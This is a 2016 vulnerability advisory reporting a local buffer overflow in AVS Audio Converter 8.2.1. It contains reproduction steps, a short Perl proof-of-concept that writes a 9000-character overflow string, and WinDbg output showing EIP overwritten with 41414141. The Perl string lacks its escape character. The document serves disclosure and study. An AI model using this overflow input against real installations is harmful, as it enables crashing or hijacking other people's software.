AVS Audio Converter 8.2.1 Buffer Overflow

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AVS Audio Converter 8.2.1 - Buffer Overflow Vulnerability  
  
  
References (Source):  
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http://www.vulnerability-lab.com/get_content.php?id=1920  
  
  
Release Date:  
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2016-08-22  
  
  
Vulnerability Laboratory ID (VL-ID):  
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1920  
  
  
Common Vulnerability Scoring System:  
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6.3  
  
  
Product & Service Introduction:  
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AVS Audio Editor is an audio file editor of its primary function is for editing audio files. It is able to   
cut, join, combine or split audio files. All these operations are done with great precision to the hundredth   
of a second. You can work with files in .wav formats, Mp3, Pcm, M4A, Flac and many others.  
  
(Copy of the Vendor Homepage: http://www.avs4you.com/AVS-Audio-Converter.aspx )  
  
  
  
Abstract Advisory Information:  
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An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the AVS Audio Converter 8.2.1 software.  
  
  
Vulnerability Disclosure Timeline:  
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2016-08-22: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
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Published  
  
  
Affected Product(s):  
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AVS4YOU  
Product: AVS Audio Converter - Software 8.2.1  
  
  
Exploitation Technique:  
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Local  
  
  
Severity Level:  
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High  
  
  
Technical Details & Description:  
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A buffer overflow vulnerability has been discovered in the official software AVS Audio Converter V8.2.1.  
The vulnerability allows local attackers to overwrite registers to compromise the local software process.  
  
Vulnerability classic buffer overflow is in the AVS Audio Converter. An attacker can manipulate the  
bit EIP register to execute the next instruction of their choice. Attackers can eg  
execute arbitrary code with the privileges of the process. The attacker has a large unicode string to crush  
the EIP register process. Finally, the attacker is able to process the takeover by a crushing of the  
active program process to compromise the computer system.  
  
  
Proof of Concept (PoC):  
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The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
  
Manual steps to reproduce the vulnerability ...  
1. Download and install the AVS Audio Converter.exe   
2. Run the code via perl script or perl  
3. A file format (poc.txt) will be created  
4. Open the generated file (poc.txt)  
5. Start the AVS Audio Converter software  
6. Attach a debugger like windbg, immunity or ollydbg  
7. Load the path location by software interaction or copy paste the file characters AAAAAAAAA+... as input to the Output Folder   
8. Click to Browse function for the path  
9. Software will crash with unhandled exception and critical access violation  
10. Watch the debugger logs were the eip is overwritten  
11. Interact to manipulate the followup address  
12. Successful reproduce of the local buffer overflow vulnerability!  
  
  
PoC: Exploitation (Perl)  
#!/usr/bin/perl  
my $Buff = "x41" x 9000;  
open(MYFILE,'>>poc.txt');  
print MYFILE $Buff;  
close(MYFILE);  
print "Local BOF PoC by ZwXn";  
  
  
--- Debug Session Logs [WinDBG] ---  
Access violation - code c0000005   
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=41414141 edx=77db38a0 esi=00000000 edi=00000000  
eip=41414141 esp=0014f578 ebp=0014f598 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246  
41414141 ?? ???  
  
0:000> d 0014fab4  
0014fab4 41414141  
0014fab8 41414141  
0014fabc 41414141  
0014fac0 41414141  
0014fac4 41414141  
0014fac8 41414141  
0014facc 41414141  
0014fad0 41414141  
0014fad4 41414141  
0014fad8 41414141  
0014fadc 41414141  
0014fae0 41414141  
0014fae4 41414141  
0014fae8 41414141  
0014faec 41414141  
0014faf0 41414141  
0014faf4 41414141  
0014faf8 41414141  
0014fafc 41414141  
0014fb00 41414141  
0014fb04 41414141  
0014fb08 41414141  
0014fb0c 41414141  
0014fb10 41414141  
0014fb14 41414141  
0014fb18 41414141  
0014fb1c 41414141  
0014fb20 41414141  
0014fb24 41414141  
0014fb28 41414141  
0014fb2c 41414141  
0014fb30 41414141  
  
Note: The access violation with the exception and followup offsets shows that the ecx & eip was overwritten.  
  
  
Security Risk:  
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The security risk of the local buffer overflow vulnerability in the avs software is estimated as high. (CVSS 6.3)  
  
  
Credits & Authors:  
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ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]  
  
  
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